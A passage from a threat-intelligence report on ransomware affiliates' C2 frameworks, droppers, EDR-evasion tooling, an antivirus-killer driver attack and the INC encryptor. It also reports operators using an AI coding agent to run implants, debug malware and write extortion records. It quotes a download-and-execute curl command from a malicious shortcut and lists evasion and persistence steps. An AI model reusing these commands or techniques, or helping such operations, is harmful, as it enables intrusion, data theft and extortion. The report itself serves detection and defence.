catalog does not directly map to these source files. Additionally, SOURCE_MAP.md estimates over
148 files and approximately 53,000 lines.
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SOURCE_MAP.md

Interface Documentation and Observed Use

Operational tasks and third-party tools - encompassing scanning, persistence, agent operations, and
collection - are outlined across six command sheets (PHANTOM_*.md) covering combat, recon,
exploit, post-access, C2, and operator workflows. While the core phantom shell helper presents this
documentation, it lacks implementation for all displayed listener and agent verbs. Furthermore,
PHANTOM_COMBAT.md cites metrics including v3.1.0, 17 modules, 59K LOC (lines of code),
9,171 CVEs, 21,897 PoCs, alongside a "S1+BD bypass" (SentinelOne and BitDefender) designation
for WindowsUpdateCheck.exe.
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PHANTOM_COMBAT.md

Phantom's combat was directly deployed in live operations via OpenCode. Key operational milestones
captured in session records include:

August 3: Veeam/CVE exploitation resulting in RE_PWN 40%

August 28: Router enumeration yielding 18 modules listed during a victim engagement, occurring minutes
prior to DA logging

September 14: RDP/NLA targeting reaching PostExploit 100%

September 30: An active OpenCode session executed phantom combat, displaying the on-screen
combat-state header (v3.1.0, module suite, CVE/PoC metrics, and active agent/target tables)
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Reconstructed OpenCode chat based on the original session

Autopilot & Execution Boundary

The autopilot/orchestrator.py script manages planning, configuration, execution, dry-runs, and
stage selection through a plan → execute → verify → report loop. A decision engine selects
techniques using target state, EDR, and OS, while session_manager handles context and report_gen
outputs findings. Stage agents expanded from nine to 12, incorporating cloud, credentials, and web-
app reconnaissance.

Phantom Agent

Within the Phantom ecosystem, agents on compromised systems regularly check in with the C2
server to fetch tasking, execute commands, and return outputs. The server registers agents, queues
commands, and logs results. Rather than iterative updates to a single protocol, Phantom evolved
through distinct agent-server architectures:
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Python v3.1 Architecture (phantom_agent.py & phantom_server.py): Features /api/v1/ endpoints
protected by an authenticated, encrypted payload wrapper

Go-Based Implementation & Bridge: Utilizes unencrypted JSON routes and incorporates an MCP bridge,
allowing OpenCode to assign tasks directly to active agents

Legacy Python Framework (phantom_listener.py): Provides a POST /report path for single-run scans
alongside interactive /checkin, /task, and /result endpoints via a dedicated operator console. A startup
log from August 3 confirms the service bound to port 9443 following an 8443 port conflict with mcp-
bridge, demonstrating the server was initialized, though no target check-ins are recorded

phantom_agent.py
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Python v3.1 Stage Operational Details

Packaging & Deployment The agent compiled from agent/phantom_agent.py is XOR-obfuscated into
cache.dat by encrypt_agent.py, then decrypted and run in memory by sync.py.
Nuitka builds adopt Windows Update metadata (e.g., WindowsUpdateCheck.exe,
WUServiceHost.exe) for defense evasion rather than proven EDR bypass.

Network & C2 Configuration By default, the agent connects over TLS to api[.]iquickline[.]com:443 via
/api/v1/checkin, /api/v1/tasks, and /api/v1/results. Its backend, phantom_server.py,
defaults to port 9443, though past logs on this port cannot be definitively linked
to it.

Message Encryption &
Security

Python v3.1 communications use AES-256-CBC encryption (PKCS#7) wrapped in
an HMAC-authenticated JSON payload, distinguishing it from legacy routes and
unencrypted Go agent endpoints.

Check-in & Polling Behavior On initial check-in, the agent sends host telemetry (hostname, user, OS, IP, PID,
integrity, domain) to register and obtain an ID. It polls for tasks every 15-45s with
jitter, enters a 45-75m sleep cycle during prolonged inactivity, and uses
exponential backoff on connection errors.

Task Execution & Response The agent handles 15 task categories, including shell execution, enumeration, file
operations, data transfer, beacon timing, and termination. It returns status codes
and outputs per task, gathering telemetry via Win32 ctypes calls.
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Phantom Agent Lifecycle

The Go Windows agent (agentgenerator/src/agent/main.go) polls a build-time C2 address via JSON
endpoints (/checkin, /tasks/{id}, /results) with ~5-second jitter. Its bridge (src/bridge/main.go)
registers agents via MCP for OpenCode tasking, though unused. The Go phantom-cli runs separately,
while selected 45.227.254[.]45 QuickLine PE builds share an HTTPS callback family.

The v3.0.0 Master Reference: The KB includes the agent's compiled development record,
"PHANTOM AGENT - MASTER DEVELOPMENT REFERENCE" (v3.0.0, July 30). This documents an
earlier, larger iteration (an 8,748-line agent and 2,733-line listener) compared to the 1,621-line v3.1
version. Key details include:
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Phantom Agent V3.0.0 Description: phantom_agent.py is an EDR-safe local vulnerability assessment
agent and C2 implant. It addresses Nessus's inability to natively use SOCKS and its noisy, alert-triggering
network traffic by executing all checks locally using registry reads, WMI, and PowerShell (`-
EncodedCommand`), keeping the network module silent and eliminating network noise

Vulnerability Assessment Engine: Features 24 check modules plus netscan (plugin IDs 90000-90402)
executing via registry reads, WMI, and PowerShell to evade EDR network detection. It outputs Nessus-
compatible JSON in a single-run mode (17-77 s, self-cleanup) to replace remote scanning

Implant Capabilities: Adds a DNS channel alongside HTTPS (with auto-failover and exponential backoff),
deterministic uuid5 machine IDs, and named-pipe IPC for "partner C2"

Development Sprint: Version history shows rapid development from v1.0.0 (July 27) to v2.8.0 (July 30),
creating the core engine, implant, and OPSEC mechanisms in four days

Lab test matrices show v2.7.1/v2.8.0 evaluation runs against SentinelOne v24.1.277 and Bitdefender
GravityZone BEST on internal test hosts (TEST-DC-S1, TEST-SRV-BD, WIN-ATTACK). All test
phases - static upload, execution, beaconing, command execution, ETW blinding, AMSI bypass, and
log scrubbing - passed with zero alerts, representing operator self-reports rather than vendor-
verified claims.

EDR Test results on knowledge.db

WindowsUpdateCheck.exe / WUServiceHost.exe (Nuitka Builds): According to the knowledge
base's build table, four executables of identical size were created: WUServiceHost.exe (windowless
GUI), WindowsUpdateCheck.exe (console), along with phantom_agent.exe and
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phantom_agent_silent.exe (legacy versions). The exposed dataset retains solely WUServiceHost.exe
(8,603,580 bytes, identical across 45.227.254[.]84 and 45.227.254[.]45).

Analysis of its PE header directly highlights the underlying operational security (OPSEC) strategy: a
64-bit GUI subsystem binary with version details mimicking the Microsoft "Windows Update Client"
(wuauclt.exe 10.0.22621.2506, attributed to Microsoft Corporation). However, its .fptable section
reveals it is a Nuitka-compiled Python executable - packaging the Phantom agent as a legitimate
Windows Update module.

File information and PE Header of WUServiceHost.exe

An accompanying status file documents the exact operational state at build time:

Active Deployment: The implant was running from C:\Tools\dist\ on the operator's WIN-ATTACK lab host,
connected to an active agent with a deterministic ID assigned to a Windows Server 2016 "Mail" target

Pending Artifacts: WindowsUpdateCheck.exe had been compiled but was not yet deployed

Post-Testing Cleanup: EDR test environments (TEST-DC-S1 and TEST-SRV-BD) were marked as "cleaned
after testing"
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Specific evasion claims were tied to file naming conventions: passing SentinelOne static uploads
under WindowsUpdateCheck.exe, maintaining cleanliness during Bitdefender re-scans after
renaming to svchost_update.exe in an alternate directory, and logging successful execution against
Trend Micro Apex One while disguised as WindowsUpdateCheck.exe.

Test record against Trend Micro Apex One in knowledge.db

The cve-scanner/DNS_C2_PROTOCOL.md specifies a legacy alternative channel rather than a live
mechanism. It outlines DNS TXT tasking via an authoritative listener, base32 encoding with optional
zlib compression, nonce and PSK authentication, and ci/tp/rp/ra operations. The design manages
label-length limits and replay protection. No retained traffic confirms active use of this DNS channel
against victims; the v3.1 Python agent relies on HTTPS.

DNS_C2_PROTOCOL.md
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Phantom Payload Delivery Service

The document-based payload chain for Phantom is implemented via a distinct delivery module
located on 89.185.83[.]8 at /opt/c2/delivery/phantom_server.py (v2.0.0). Traffic to this component
is routed through an nginx proxy for update[.]system-strategy[.]org.

PHANTOM Payload Delivery Server

The multi-stage execution chain merges two distinct initial access vectors into a standardized
deployment path:
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Vector A - DOCX Template Injection: Opening a weaponized .docx file triggers a GET /d/<tid>
request to retrieve a target-specific .dotm template for telemetry and hit tracking. VBA macros
subsequently issue a GET /c/<cid>/s query to load a dynamically generated, in-memory
stage1.cmd script.

Stage 1 script generation and embedding within template.dotm

Vector B - HTML Smuggling: Navigating to /view/<tid> loads an invoice-themed landing page
(_build_smuggling_page). Client-side JavaScript reconstructs a ZIP archive from chunked Base64
payloads and delivers a crafted .lnk shortcut (_build_lnk) via Blob download. Upon execution, the .lnk
runs: curl.exe -sk <stage1_url> -o %temp%\u.cmd & %temp%\u.cmd.
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HTML Smuggling Themes

Stage 1 - Dropper Execution (stage1.cmd): Leverages native LOLBins (curl.exe or certutil) to
download python-embed.zip. Extracts the environment to %ProgramData%\Realtek\pythonw.exe
using tar or Expand-Archive. Retrieves the tailored implant payload (svc.py) alongside a decoy
PDF to present to the user. Executes the beacon in silent mode: pythonw.exe svc.py --callback
<C2> --token <token> -q. Establishes system persistence using schtasks to register a task
named RealtekAudioSvc.

Stage 2 - Implant Beaconing (svc.py): Deploys a standard-library Python beacon (v4.0.0-svc)
featuring unverified TLS communications, User-Agent rotation, process masquerading, and full
compatibility with phantom_listener C2 endpoints.
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svc.py - PHANTOM Lightweight C2 Beacon

Observed Testing Data: The delivery service retains a single campaign, E2E_TEST, configured with
the C2 address hxxps://45[.]227[.]254[.]45:9443, an invoice decoy (Invoice_Sept_2026.pdf,
smuggle mode) and one target record (test@e2e-test.local). That record's counter reads 14 hits: 12
from the operator's own 45.227.254[.]45 address and 2 from localhost. The campaign log as a whole
holds 54 hit rows, all from operator-controlled addresses, which confirms an internal self-test rather
than a deployment against a target.

Test Campaigns and Hits



Uncovering the AI-Driven Offensive Infrastructure of INC and The Gentlemen Ransomware Affiliates 39

WormGPT-MCP Integration
OpenCode acts as the primary operator framework via Bash/MCP integration and persistent
sessions. The WormGPT designation refers to custom system prompts and a dedicated wormgpt-
mcp/server.py handler, not a distinct model architecture. Within WormGPT-MCP/mcp-servers/, 32
server.py modules span functions from reconnaissance to extortion. OpenCode registers 35 total
MCP entries with adapters.

For full auditability, the static filesystem catalog of all 32 server directories comprises: ad-cloud-
server, ai-attack, burp-server, c2-bridge, cloud-container, crypto-solver, cve-exploit-db, darkweb-
server, exploit-auto, forensics-server, malware-dev, misc-server, network-adv, network-attack,
network-traffic-server, orchestrator, osint-server, payload-db, postex-server, profile-engine, pwn-
server, ransom-ops, recon-server, reporting, reverse-server, skill-db, social-eng, stego-server,
supply-chain, utility-adv, web-exploit, and wireless-server. This catalog does not indicate confirmed
active endpoints.

WormGPT ransom-ops MCP Server for Ransom Operations
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Ghost C2
Full source code for three Ghost generations was recovered from node 89.185.83[.]8 (at
/opt/c2/ghost, /opt/c2/ghost-api-tg, and /opt/c2/ghost-v2), marking it as the oldest C2 lineage in the
dataset. The main operator management console was located on 138.124.113[.]210, with a backup
instance recovered from node 45.227.254[.]45. Functioning as the operational implant tier, its unique
per-build polymorphic agents execute tasking and maintain persistent beacons on compromised
endpoints. These agent beacons route communications via HTTPS through Cloudflare, Telegram, or
DNS channels, supplying the necessary telemetry to feed downstream network pivoting and
exfiltration mechanisms handled by RevSocks and dedicated collection tools.

Ghost C2 server and agent
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Ghost C2 v3 ("Polymorphed") Core Components:

C2 Infrastructure (Server): Built on Flask (server/ghost_server.py), the backend handles internal tasking
APIs and exposes customized /api/v3/<path> endpoints per build. Communication relies on build-specific
derived keys securing an AES-256-CBC and HMAC-SHA256 envelope

Implant Capabilities (Agent): Developed in C (agent_c/ghost_agent.c), the implant routes WinHTTP
traffic through Cloudflare, utilizing djb2 API hashing, RC4 string obfuscation, AES-256-GCM encryption,
and single-instance mutex enforcement. Operational parameters feature a 15-45s beacon jitter alongside
extended sleep periods of 20-40 minutes. Features comprise file transfer, command execution, SSPI
NTLMv2 credential harvesting, UAC bypass via fodhelper, and multiple persistence mechanisms (Registry
Run keys, Print Monitor, and TypeLib .sct). Stripped binaries (~72 KB) explicitly target Bitdefender
ATC evasion

Automated Builder & Obfuscation (Build Pipeline): The generation suite (ghost_builder.py and
polymorph.py) produces unique binaries via randomized file paths, shuffled function blocks, junk code
insertion, stack padding, distinct GCC seeds, and per-build cryptographic keys. This pipeline yielded 52
compiled builds in builds/G*/ (e.g., G0095E6C2.exe)

Observed Activity (Runtime State): State telemetry in data/state.json records 13 registered agents
across seven distinct hostnames between July 12 and July 31. Four registrations stem from an internal
testing VM (WIN-HML8M77JCDE), whereas six represent compromised external endpoints (such as retail
systems and EMS-prefixed hosts). These registrations demonstrate active C2 beaconing rather than
complete system intrusion

Build configuration - G0095E6C2.exe

Ghost API-TG (Telegram Transport): Built using garble (-literals -tiny), the Go-based agent
(agent_go/main.go, 1,672 lines) dynamically resolves Windows APIs via syscall.NewLazyDLL to
maintain a clean import table. It leverages encrypted Telegram Bot API channels for transport,
utilizing per-build bot tokens alongside assigned task and result chat instances across 27 hidden-flag
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builds. The accompanying Python agent (agent_py/ghost_agent.py, 1,087 lines) spans v1, v2, and v3
iterations, supported by loader.py, a C# loader (setup_loader.cs, 48 lines), and specialized
service/sync deployment scripts.

Go-based agent - agent_go/main.go

Ghost v2 (Legacy Framework): Retained within ghost-v2/, this architecture features a Python
agent configured via ghost_config.json to communicate with worker endpoint api[.]system-
strategy[.]org, fallback relay ghost-relay[.]stk-cdn-07[.]workers[.]dev, and DNS channel
d[.]system-strategy[.]org.

Ghost v2

Operator Control Panel (138.124.113[.]210): The ghost-panel/ v1.0.0 instance uses mTLS and
custom authentication while presenting a spoofed server banner ("Honeywell WEBstation/2.0").
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Command history (cmdlog) documents limited task execution against a single build - recording one
successfully executed (whoami returning a workstation Administrator) and four unreturned
commands (systeminfo, net user /domain, wake) dispatched on August 2.

Commands

Loaders and Auxiliary Tooling: The /opt/c2/loaders/ directory (91 files) contains agent.exe (identical
to the v3 agent hash f55ad6ac…), agenttls.exe, capture.exe, coerce.exe, and various iterations of the
signed colorui DLL family (colorui2-colorui5, including colorui4_signed.dll 6b1a8ab0…), which match
the DLL sideloading components identified on the credential-harvesting host.

RevSocks: Multi-Target Reverse SOCKS5 Framework
Located on host 77.110.109[.]248 (in /opt/revsocks_v3 and /opt/revsocks_v4), this framework
provides reverse-SOCKS5 egress upon initial intrusion. Assigning an authenticated port per
compromised host, it routes lateral movement, NTDS.dit extraction, and file harvesting, enabling free
navigation across victim networks between intrusion and exfiltration. Serving as the main SOCKS5
egress route in the August 28 campaign, the system pairs an asyncio Python server with CRT-free C
implants. It incorporates polymorphic compilation alongside per-build tracking.

Analysis identified two distinct codebase iterations:

Generation v3: Build b34830ea (compiled July 19, 2026), comprising a 1,134-line server codebase

Generation v4: Build 7de178d4 (compiled September 22, 2026), featuring an expanded 2,374-line
server implementation

The v4 update introduces an asyncio overhaul incorporating AEAD encryption, session resumption
support, and an expanded command set, while maintaining backward compatibility with the v3
wire protocol.
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RevSocks v4 - server.py

Agent (client/agent.c): CRT-free C implementation (WinMain entry) using Schannel TLS over AEAD
double encryption, dynamic GetProcAddress API resolution, XOR-encrypted config strings (key
0xcb), ETW/AMSI patching, anti-debug/VM checks, NTDLL unhooking, and CreateTimerQueueTimer
sleep obfuscation for x64/x86 architectures.
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agent.c

Loaders & Injection: Includes inject_explorer, inject_system, injectWmiprvse (v3), sideload_dll (v4),
edr_bypass, colorui_socks, and loader_v1/v2 variants.

Shellcode & Payloads: Donut-generated shellcode (agent_sc.bin, 58,476 B) with five variants, XOR-
encrypted via a 32-byte key into agent_sc.enc, agent.enc (38,912 B), and agent_x86.enc.

Polymorphic Build (rebuild.sh v4): Patches random 32-byte payload and string XOR keys, C2
settings, download tokens, and randomized POLY_ function names across loaders; generates TLS
certs and SHA-256 hashes. Deployment is handled by install.sh under tmux.

v4 Configuration: Agents connect to 141.98.83[.]180:443, which serves encrypted payloads via
HTTPS. The 77.110.109[.]248 node acts as the build host and bundles restic.exe (31.6 MB) for SOCKS-
based exfiltration.

Registry & Telemetry: targets.json tracks 72 agent registrations over time; its final state contains
nine active targets (IDs 64-72, including education, healthcare, and Linux hosts) with active traffic up
to 39 MB, confirming live pivoting. The 3,039 v4 log entries consist of scanner failures and fail2ban
bans rather than victims.
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Other Custom Binaries
Within the exposed datasets, these binaries represent actor-authored, actor-compiled, or
operationally significant modified executables.

Quick Heal / Seqrite Killers: Security Product Evasion Attempts

Artifacts in 45.227.254[.]43 chat/killer/ (quickheal-killer.exe v1, quickheal-killer2.exe v2,
quickheal-killer2.c, and zam64.sys) detail a BYOVD attack targeting Quick Heal/Seqrite EPS 7.60.
The v2 C source enumerates executables and services, disables service startups, loads a local
Zemana driver, stops processes via driver requests, and deletes the service and associated files.
The PE binary embeds the driver and imports service-control, process-enumeration, and
DeviceIoControl APIs aligned with the source. Unlike v1, v2 terminates processes before altering disk
files and adds I/O timeouts to prevent hangs.

Operator transcripts show v1 disabled designated services but stalled at Phase 3 with AV active. A
v2 attempt disabled 11 services but failed to load the driver due to a missing zam64.sys file. On
August 30, the operator used OpenCode to debug the tool. The AI analyzed zam64.sys in radare2
and generated a fix ("register(own_pid) → kill {pid, 0}"). The killer targets 28 Quick Heal/Seqrite
processes to prevent protection components from restarting.
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Quick Heal Killer usage by the operator

QuickLine: Cloudflare-Fronted Athena (Mythic) Agent Overview

Analysis of the 45.227.254[.]45 dataset reveals that QuickLine.exe (32,245,778 bytes) and
QuickLine_cf.exe (37,613,590 bytes) share a binary-identical payload. Identified as a Windows x64
console application, QuickLine features a large overlay containing .NET single-file bundle assets,
including QuickLine.dll, dependency metadata, and runtime configs. The presence of WebSocket
framework libraries within the assembly does not alone confirm an active WebSocket C2 connection.

Analysis reveals QuickLine as a Cloudflare-fronted Athena (.NET) agent in Mythic C2 at
37.72.168[.]212 (ports 7443/443). Logs confirm callbacks via api[.]iquickline[.]com → Cloudflare →
VPS:443 → Mythic from a 37.6 MB debug build. Active beacons include CB#20/22 (WSUS01-S1),
CB#21 (DC01-BD), and lab beacons CB#12/13. Operating as a stage-2 implant with socks_tunnel
(WindowsUpdateSvc.exe), its plugins enabled AD exploitation, recon, patching, persistence, and
rootkit capabilities.



Uncovering the AI-Driven Offensive Infrastructure of INC and The Gentlemen Ransomware Affiliates 48

build_athena_v4.py

rks3: Exfiltration Tool

Server 45.227.254[.]84 houses Go source code, documentation, and compiled binaries (rks3.exe
and variants) linked to rks3/cmd/agent. Located in Phantom's workspace with Wasabi/S3 adapters,
the tool handles scanning, queuing, and concurrent object storage uploads with JSONL progress
tracking, deduplication, throttling, AES-GCM encryption, path obfuscation, and remote config polling.
While code capability and build lineage are high-confidence, actual data transfer remains
unconfirmed due to a lack of upload receipts or execution records.



Uncovering the AI-Driven Offensive Infrastructure of INC and The Gentlemen Ransomware Affiliates 49

rks3/README.md

BackupConsole / BackupAgent: Discovery Front End and Modified Backup Engine

BackupConsole and BackupAgent serve as distinct collection tools. BackupConsole provides
graphical (v35 via fileseeker2) and CLI (v42/v43 backupconsole-cli) interfaces for file discovery.
BackupAgent.exe, a modified restic build, acts as the staging transfer engine, though remote
exfiltration remains unconfirmed. Staging artifacts on 45.227.254[.]84 and 45.227.254[.]45 link the
operator's Windows VM to host infrastructure. Server logs show test host HTTP downloads of
BackupAgent.exe and console binaries on August 15-16, indicating staging tests rather than victim
execution or data theft. Signed builds use a self-issued SysTool Software Ltd. certificate, which
lacks Windows trust. Binary lineage and tooling show high confidence, while victim exfiltration
remains low-confidence.

https://github.com/restic/restic
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INC Ransomware
INC Ransomware has operated as a Rust-based ransomware-as-a-service (RaaS) model tracked
since August 2023 (MITRE G1032, GOLD IONIC). Operators receive customized per-victim
encryptors built from a single core codebase and utilize a double-extortion strategy combining file
encryption with data leak threats. This section covers the encryptor binary, build delivery
mechanisms, campaign activities, and extortion tactics.

Encryptor Technical Analysis
Analysis of three win.exe binaries (x86-64 Windows PE, 2,206,208 bytes) under separate target-
labelled directories shows minimal variance (55-62 bytes) tied to build identifiers, X25519 public
keys, and instruction immediates. Each dynamically decodes an identical 52-line INC ransom note.
Three deployment packages contain 42 additional builds across 14 cross-compiled Linux and
Windows configurations, confirming a standardized per-victim setup.

Binaries prepared for victims with their name in directories - “P” files.

Static Analysis & PE Structure

PE analysis of the binary reveals an unpacked, unsigned release build comprising ten sections,
peaking at an entropy of 6.05 (.text and .pdata) with no packer stub. It features Characteristics set
to 0x022E (stripped debug directory), no resource directory, overlay, or Authenticode signature. The
PE header is timestamped 2025-08-14 and embeds compiler ID
/rustc/90c541806f23a127002de5b4038be731ba1458ca/. These Rust binaries were cross-compiled
via the x86_64-pc-windows-gnu (mingw) toolchain, as shown by runneradmin GitHub Actions paths
in Windows builds and /work/cargo paths in Linux builds. Unlike previously reported MSVC builds,
mingw-linked Rust PE files generate distinct import and section layouts. Across all six recovered

https://attack.mitre.org/groups/G1032/
https://www.acronis.com/en/tru/posts/from-emerging-threat-to-top-tier-ransomware-as-a-service-the-evolution-of-inc-ransomware/
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Windows encryptors (three win.exe samples and staged builds), core structural parameters - header
fields, section tables, and import counts - are identical, varying only in binary hashes and
personalization bytes.

PE Header information

The image imports 210 functions through ten import descriptors from nine distinct libraries:
KERNEL32 is split across two descriptors (10 and 124 entries), and msvcrt contributes the 30
functions of the mingw CRT. The table groups them by what each group establishes.
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Capability Imports What it establishes

Entropy BCryptGenRandom (bcrypt),
SystemFunction036 /
RtlGenRandom (ADVAPI32)

Seed sources for the statically linked rand_core, and the
only cryptography-related imports. The ciphers and
curve arithmetic are compiled in, so there is no
CryptoAPI or CNG call to hook; key generation is
observable only at the BCryptGenRandom call sites
(0x544f1f, 0x54e959).

File I/O ntdll NtCreateFile, NtReadFile,
NtWriteFile; KERNEL32
FindFirstFileW/FindNextFileW,
MoveFileW/MoveFileExW,
SetFileInformationByHandle,
SetFilePointerEx

Traversal and renames use Win32; file open and the data
path call the native API directly (NtCreateFile 0x5477e1,
NtWriteFile 0x54ad55). A user-mode hook on
kernel32!WriteFile misses the write path; the dependable
telemetry point is ntdll or a file-system minifilter.

Service control OpenSCManagerW,
OpenServiceW,
EnumServicesStatusExW,
EnumDependentServicesW,
QueryServiceStatusEx,
ControlService

Backs serv. Services are enumerated (0x40c541),
dependents are enumerated before the stop (0x40ce25),
ControlService(SERVICE_CONTROL_STOP) is issued at
0x40cf1a and state is polled with QueryServiceStatusEx.
There is no CreateService or StartService: the binary
stops services and never installs one.

Process control CreateToolhelp32Snapshot,
Process32FirstW/NextW,
Module32FirstW/NextW,
OpenProcess, TerminateProcess

Backs proc: snapshot at 0x40c094, OpenProcess →
TerminateProcess at 0x40c1df / 0x40c1f5. A second pair
(0x40d407 / 0x40d419) sits inside the Restart Manager
routine.

File-lock
eviction

RstrtMgr.DLL: RmStartSession,
RmRegisterResources,
RmGetList, RmShutdown,
RmEndSession

A single routine runs the whole session, in this order:
RmStartSession (0x40d1b3), RmRegisterResources
(0x40d27b), RmGetList (0x40d2c6, 0x40d317),
GetCurrentProcessId comparison (0x40d3f4),
OpenProcess / TerminateProcess / WaitForSingleObject
on each holder (0x40d407 / 0x40d419 / 0x40d426),
RmShutdown (0x40d457), RmEndSession (0x40d460).

Volume access CreateFileW, DeviceIoControl,
GetDriveTypeW

Used by the shadow-copy routine described below;
GetDriveTypeW has exactly one call site (0x403507), and
it is inside that routine.

Console GetConsoleWindow →
ShowWindow (0x409265 →
0x40926f, again at 0x40d624 /
0x40d632)

Backs hide.
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Capability Imports What it establishes

Networking 25 WS2_32 functions, including
accept, bind, listen and
getaddrinfo

The full Rust standard-library socket surface. No call site
was traced from the operator-facing routines, and the
image holds no cleartext URL or address: the .onion and
incblog.su strings exist only ins

What the table excludes is vital for triage and detection. Lacking Reg* functions, it provides no
registry persistence or customization. Without AdjustTokenPrivileges, it inherits current token
privileges rather than enabling SeBackupPrivilege or SeRestorePrivilege. It also omits memory
injection or reflective loading APIs (VirtualAlloc, WriteProcessMemory, CreateRemoteThread), anti-
analysis checks (IsDebuggerPresent, NtQueryInformationProcess), COM/WMI libraries (ole32,
oleaut32), and network share enumeration (netapi32, mpr). Consequently, this standalone tool
encrypts user-writable data without elevation; however, service management, volume access, and
locked files still demand elevated rights, and it cannot escalate privileges or self-execute.

Import table of a Windows build

Cryptographic Design

Code analysis confirms drive/directory enumeration, file operations, process/service control
(including SERVICE_CONTROL_STOP), and optional timestamp preservation. The cryptographic
architecture relies on ephemeral X25519 key exchange, SHA-256 derivation, AES-CTR, and Salsa20
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stream ciphers - matching the INC Linux model. However, determining the precise footer format or
operation order requires runtime tracing or encrypted samples, which were not present in the
analyzed binaries. While victim screenshots display .INC files, no encrypted data was recovered,
leaving ransom note claims unverified.

Paths of embedded crypto crates and the algorithm tags

Behavioral CLI Surface

An independent re-disassembly of the win.exe (build C in the table above) recovered the full
operator help text in plaintext at .rdata offset 0x005c7088, referenced by the same setup function
at 0x0040f7de:

dir: Encryption directory(ies), e.g. C:\,D:\,E:\

file: Encryption of file(s), e.g. 1.txt,2.txt,3.txt

mode: fast, medium, slow

sup: Stop using process

hide: Hide console

proc: Kill processes by mask, e.g. veeam,backup,sql

serv: Kill services by mask, e.g. veeam,backup,sql

def: Don't encrypt files, just left notes everywhere

quiet: Encrypt files and restore original last write date

The Base64-encoded ransom note sits packed into .rdata immediately after this help text, not stored
as a separate resource.
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CLI help text of build C, from .rdata (0x5c7088)

Pre-Encryption Routines

Build C runs four routines around the encryption loop. None spawns a helper binary or a shell
command: no vssadmin, wmic, bcdedit, wbadmin, wevtutil or PowerShell string exists in ASCII or
UTF-16, and the only cmd.exe literal belongs to the Rust standard library. Each routine calls Windows
APIs directly.

Shadow-copy deletion (0x403480): opens \\.\X: for each local, removable or remote drive (CreateFileW,
0x40383b) and sends DeviceIoControl code 0x0053C028 (0x403881), a volume-snapshot driver
request. vssadmin and WMI rules will not detect it; hunt for user-mode volume-handle opens followed by
snapshot-driver IOCTLs

Process and service termination (proc, serv): masks such as veeam,backup,sql. Processes end through
TerminateProcess (0x40c1f5); services through ControlService(STOP) (0x40cf1a), dependents first

File-lock eviction (sup, 0x40d170): Restart Manager session; each lock holder except the encryptor itself
is terminated before RmShutdown. RmStartSession from a non-installer process is a high-signal hunt

Timestamp restoration (quiet, SetFileTime at 0x405126): restores last-write times and, per the help text,
writes no note and no extension, so all three usual artifacts disappear. def is the inverse (notes only)

Shadow-copy log strings in .rdata
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Restart Manager routine - RmStartSession → RmRegisterResources → RmGetList → PID self-check → OpenProcess /
TerminateProcess / WaitForSingleObject → RmShutdown → RmEndSession

Scope Control and Exclusions

Hard-coded lowercase literals at file offset 0x1c3ce8 (after INC-README.txt) specify exclusions for
critical system directories (windows, program files, appdata, $recycle.bin, programdata, all users,
sophos) and specific file extensions (INC, .log, .dll, .exe). This bootability ruleset preserves OS
functionality for ransom note display and Tor portal access, protects user profiles, and prevents self-
re-encryption. Sophos is the only vendor entry, though its precise purpose in the binary is
unresolved. Without an extension allow-list, databases, virtual disks, and backups in unexcluded
paths are encrypted. Path-matching logic remains unresolved. Console outputs printing Error
'<error>' while encrypting file: <path> allow RMM session logs from visible executions to reveal
targeted files.

Exclusion list and drive-root table hard-coded in .rdata
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INC Ransom README note

Dynamic Analysis Overview

Dynamic execution analysis of Windows Build C (SHA-256: 14b711bd…2212) demonstrates that the
process completed execution in 459 ms without additional arguments, terminating with exit code 0.
During this run, it produced no network activity, introduced no binary payloads, and made no
modifications to the system registry. All file-system operations transpired within a 290 ms window,
initiated 155 ms post-execution. Due to insufficient privileges, root-level creation of INC-README.txt
was blocked, while locked system page and hibernation files were left unaffected. The process
appended the .INC extension across user documents, databases, and mailboxes, while leaving
win.exe unencrypted.

File-System Behavior: All activity falls in a ~290 ms window starting 155 ms after process start.
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Scope without arguments: the encryptor starts at the drive root and walks the profile tree. At C:\,
creating INC-README.txt returned 0xC0000022 (access denied, no elevation), bootTel.dat was opened
and then reopened with DELETE access (rename attempt), and hiberfil.sys, pagefile.sys and swapfile.sys
returned 0xC0000043 (sharing violation). The paging and hibernation files are therefore not excluded by
name; they survive only because they are locked

Encryption: the extension .INC is appended to the full name (desktop.ini.INC, Outlook.pst.INC,
Database1.accdb.INC). Documents, images, mailboxes, Access databases, OneNote files, PowerShell
module files, shortcuts and desktop.ini were all renamed. win.exe itself (.exe) was untouched, consistent
with the extension exclusions

Notes: INC-README.txt was written into every traversed directory, including those with nothing to
encrypt, and into C:\Users\Default and C:\Users\Public. No file under Windows, Program Files or
ProgramData was modified in the retained listing. Notes were placed under AppData, but no AppData file
was renamed, so the appdata exclusion applies to encryption and not to note placement

Note content: each dropped note is 3,500 B (SHA-256 1583e13e…c516), 20 B larger than the 3,480-B
decoded template. That equals a 24-character identifier substituted for the 4-character %id%
placeholder, which confirms the static inference that the per-victim identifier fills the note

The sandbox stores the original and renamed paths against the same final content, so encrypted-file
size deltas and footer layout cannot be derived from this report; the .INC files themselves are the
missing evidence.

Encrypted Files and Ransom README Note in Dynamic Analysis
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Staged Kits and Campaign Operations

A container on the 45.227.254[.]84 workstation (vm1/P.zip) holds three per-victim zip packages
packed on September 30, 2026 (06:40-06:42 UTC). Each contains 14 cross-compiled INC builds:
one Windows binary (2,206,208 bytes) and 13 Linux variants. While packed hours before the stated
October 1 (~06:00 MSK) deployment window, deployment against the targets is unconfirmed by
the capture.

The workstation revealed the intended distribution channel: an expired temp[.]sh page for
hxxps://temp[.]sh/xxxx/P.zip. The crew's SimpleHelp console (146.70.41[.]131) featured technician
accounts with crew aliases and chat logs confirming deployment timing ("encryptors already 5 …
tomorrow we go in" / "tomorrow at 6 Moscow time, right?"). This planning corroborates the packages'
purpose, but not their delivery.

Rocket.Chat messages between operators - screenshot taken by OpenCode



Uncovering the AI-Driven Offensive Infrastructure of INC and The Gentlemen Ransomware Affiliates 60

Runtime evidence of endpoint execution rests on a single SimpleHelp screenshot showing win.exe --
sup --mode fast active on an architecture-services workstation, alongside .INC files and INC-
README.txt. This ties behavioral analysis to live execution via Restart Manager eviction (--sup) and
partial encryption (--mode fast). However, the exact build hash, total estate impact, and collection
outcome remain unconfirmed.

SimpleHelp screenshot taken from victim environment by the operator
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Extortion Playbook
Analysis of dozens of AI-authored extortion records across four knowledge base exports (including
knowledge.db, server exports, the OpenCode database, and a landing page) reveals a structured,
data-centric playbook tailored to specific sectors. While these records detail operational planning
and real-time status tracking, they offer limited insight into final outcomes.

Operating Model

Phase What the records show Purpose

1. Valuation Revenue estimate from the stolen file tree and public
sources; audited statements, bank-facility use, owner
loans and insurance cover read from the victim's own
